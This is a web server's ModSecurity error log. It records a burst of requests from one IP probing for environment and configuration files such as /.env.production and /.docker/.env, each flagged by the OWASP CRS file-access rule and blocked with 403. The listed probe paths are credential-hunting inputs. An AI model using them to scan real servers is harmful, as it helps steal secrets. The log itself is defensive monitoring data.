[Wed Feb 25 06:04:28.417705 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnQAAAAU&quot;]
[Wed Feb 25 06:04:28.417966 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnQAAAAU&quot;]
[Wed Feb 25 06:04:28.418230 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnQAAAAU&quot;]
[Wed Feb 25 06:04:28.532507 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCngAAAAU&quot;]
[Wed Feb 25 06:04:28.532802 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCngAAAAU&quot;]
[Wed Feb 25 06:04:28.532998 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCngAAAAU&quot;]
[Wed Feb 25 06:04:28.557964 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnwAAAAU&quot;]
[Wed Feb 25 06:04:28.558267 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnwAAAAU&quot;]
[Wed Feb 25 06:04:28.558473 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnwAAAAU&quot;]
[Wed Feb 25 06:04:28.659333 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCoAAAAAU&quot;]
[Wed Feb 25 06:04:28.659633 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCoAAAAAU&quot;]
[Wed Feb 25 06:04:28.659814 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCoAAAAAU&quot;]
[Wed Feb 25 06:04:28.777354 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCoQAAAAU&quot;]
[Wed Feb 25 06:04:28.777656 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCoQAAAAU&quot;]
[Wed Feb 25 06:04:28.777862 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCoQAAAAU&quot;]
[Wed Feb 25 06:04:28.873892 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCogAAAAU&quot;]
[Wed Feb 25 06:04:28.874901 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCogAAAAU&quot;]
[Wed Feb 25 06:04:28.875068 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCogAAAAU&quot;]
[Wed Feb 25 06:04:28.896730 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCowAAAAU&quot;]
[Wed Feb 25 06:04:28.897027 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCowAAAAU&quot;]
[Wed Feb 25 06:04:28.897207 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCowAAAAU&quot;]
[Wed Feb 25 06:04:29.048463 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.environment&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCpgAAAAU&quot;]
[Wed Feb 25 06:04:29.048761 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCpgAAAAU&quot;]
[Wed Feb 25 06:04:29.048955 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCpgAAAAU&quot;]
[Wed Feb 25 06:04:29.080314 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCpwAAAAU&quot;]
[Wed Feb 25 06:04:29.080623 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCpwAAAAU&quot;]
[Wed Feb 25 06:04:29.080820 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCpwAAAAU&quot;]
[Wed Feb 25 06:04:29.140750 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCqAAAAAU&quot;]
[Wed Feb 25 06:04:29.141039 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCqAAAAAU&quot;]
[Wed Feb 25 06:04:29.141229 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCqAAAAAU&quot;]
[Wed Feb 25 06:04:29.345408 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrAAAAAU&quot;]
[Wed Feb 25 06:04:29.345697 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrAAAAAU&quot;]
[Wed Feb 25 06:04:29.345895 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs&quot;] [unique_id &quot;aZ6C3eTWwZsZM3_RktVCrAAAAAU&quot;]
